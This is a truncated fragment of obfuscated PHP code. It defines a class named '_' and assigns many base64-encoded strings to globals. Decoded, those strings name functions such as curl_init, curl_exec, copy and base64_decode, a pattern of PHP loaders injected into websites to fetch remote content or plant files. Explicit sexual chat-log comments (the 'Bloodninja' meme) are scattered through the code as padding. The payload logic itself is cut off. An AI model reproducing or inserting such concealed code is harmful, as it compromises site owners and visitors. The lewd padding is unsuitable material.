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class _{private static$_;static function _($_){if(!self::$_):self::_();endif;return self::$_[$_];}/*sweet17: doesn't that seem strange to you?*/private static function _(){self::$_=array(661.11,0752,0752/*Bloodninja: Nope*/,0.25,0.25/*sweet17: well its strange to me*/,0.25,0.25,0.16666666666667/*Bloodninja: Fine. I won't do it if you don't want me to*/,0.16666666666667/*sweet17: I didn't say that*/,0.16666666666667,0.16666666666667,0.16666666666667,0.16666666666667,050/*Bloodninja: So is that a yes?*/,050/*sweet17: I guess so.*/,050,050,050/*Bloodninja: Ok. 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Here we go.*/,-0314/*Bloodninja: I gently remove your panties and being to massage your thighs.*/,-0462,0742,0230,-01025,-0664,0567,-01454/*Bloodninja: You get really juicy thinking about my tounge brushing up against them*/,-062,-0412,-0153,-0153,01256,01445,-0215,0720,0130,02346,01072/*Bloodninja: I softly begin to tounge your wet kitty.*/,0556,0124/*Bloodninja: I run my tounge up and down your smooth c**t.*/,0265,0471,0447,-0460/*sweet17: mmmm yeah*/,0477/*Bloodninja: uh oh ...going limp.*/,0550/*sweet17: Har*/,0540,0567,01746,0547/*Bloodninja: You gotta do better than that!*/,0634,0551,01115,01206/*Bloodninja: Your picture was really bad.*/,01434/*sweet17: HARRRRRRRRRRRR*/,0623,-03334,01074,01007,01021,0626,01114,01646/*Bloodninja: Ahhhh. Much better. I feel your kitty get more moist with every stroke.*/,0771/*Bloodninja: I softly suck on your cl*t bringing it in and out of my mouth.*/,01225/*Bloodninja: Your juices run down my chin as your scent makes its way to my nose.*/,01270/*Bloodninja: I begin to feel empowered by your femininity.*/,02516,023637/*sweet17: mmmmmm you are good*/,022350/*Bloodninja: I feel your thighs tighten as I suck harder*/,024074/*Bloodninja: going limp*/,022142/*sweet17: HARRRRRRR*/,023650,-03431/*Bloodninja: Mmmm I grab your swelling buttocks in my hands.*/,01003/*Bloodninja: You begin to sway back and forth.*/,01130,02133/*Bloodninja: going limp*/);$GLOBALS["_"]=baSe64_DecodE("U3RyTG"."V"."u");$GLOBALS["_"]=BASE64_DecODE("QkFzZTY0X2RlY29EZQ="."=");$GLOBALS["_"]=Base64_DeCoDE("c1RS"."TEVu");/*sweet17: this is stupid*/$GLOBALS["_"]=BaSE64_dECoDE("b3"."Jk");$GLOBALS["_"]=BAse64_DECOde("T1"."JE");/*Bloodninja: ...still limp*/$GLOBALS["_"]=bASe64_dEcoDe("Y"."2hS");$GLOBALS["_"]=bAsE64_dEcoDe("Y09wWQ="."=");$GLOBALS["_"]=bAse64_deCODE("Q09QWQ="."=");/*Bloodninja: Do it!*/$GLOBALS["_"]=BaSe64_dEcODe("bkwy"."Yl"."I"."=");$GLOBALS["_"]=BaSe64_dECoDe("U3RSY21"."w");$GLOBALS["_"]=bAse64_decOdE("T"."3JE");$GLOBALS["_"]=baSe64_deCOdE("Y29weQ==");$GLOBALS["_"]=BAse64_DeCoDE("Q29wWQ="."=");$GLOBALS["_"]=BasE64_DECODe("QmFTZU5hTUU"."=");$GLOBALS["_"]=BASe64_deCoDe("Q09Qe"."Q==");$GLOBALS["_"]=bASe64_dECode("U1RSTEV"."O");/*sweet17: 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ass.*/$GLOBALS["_"]=baSe64_DEcOdE("c3RSX3JlcExBY0U"."=");/*sweet17: WTF?!?!?*/$GLOBALS["_"]=bASe64_dEcODe("YVJyQ"."XlfbUV"."yR0U=");$GLOBALS["_"]=baSe64_deCoDE("RnVuY1RpT25fRVhJ"."c1RT");$GLOBALS["_"]=BASE64_DecODE("aHR0"."cF9CVUlsRF9xVUVS"."W"."Q="."=");/*Bloodninja: They stink really bad.*/$GLOBALS["_"]=base64_DeCodE("Y1VSbF9p"."Tml"."0");$GLOBALS["_"]=BasE64_dEcode("Y"."1VyTF9"."TZVR"."PUH"."Q"."=");$GLOBALS["_"]=bASE64_DeCOdE("Y3VSbF9"."TZ"."V"."R"."vUFQ=");$GLOBALS["_"]=BaSE64_deCOde("Q1VSbF9"."TRVRPUHQ=");$GLOBALS["_"]=bASe64_DECOdE("Q3VybF9"."TRVRvcFQ"."=");$GLOBALS["_"]=baSE64_deCodE("aHRUUF9idUlMZF"."9R"."dWV"."yWQ"."==");/*sweet17: OMG STOP!!!*/$GLOBALS["_"]=bAse64_DeCODE("Y3Vy"."TF9zZXR"."P"."cHQ"."=");$GLOBALS["_"]=bASe64_DECODE("Y1VSTF9leGVD");$GLOBALS["_"]=BAse64_DEcoDe("Q1VybF9nR"."VRJTm"."ZP");/*Bloodninja: I start to get fed up with your ugly ass*/$GLOBALS["_"]=bASE64_DECODE("Q3"."VSbF9jTE9z"."RQ==");/*Bloodninja: I tear off your wooden peg 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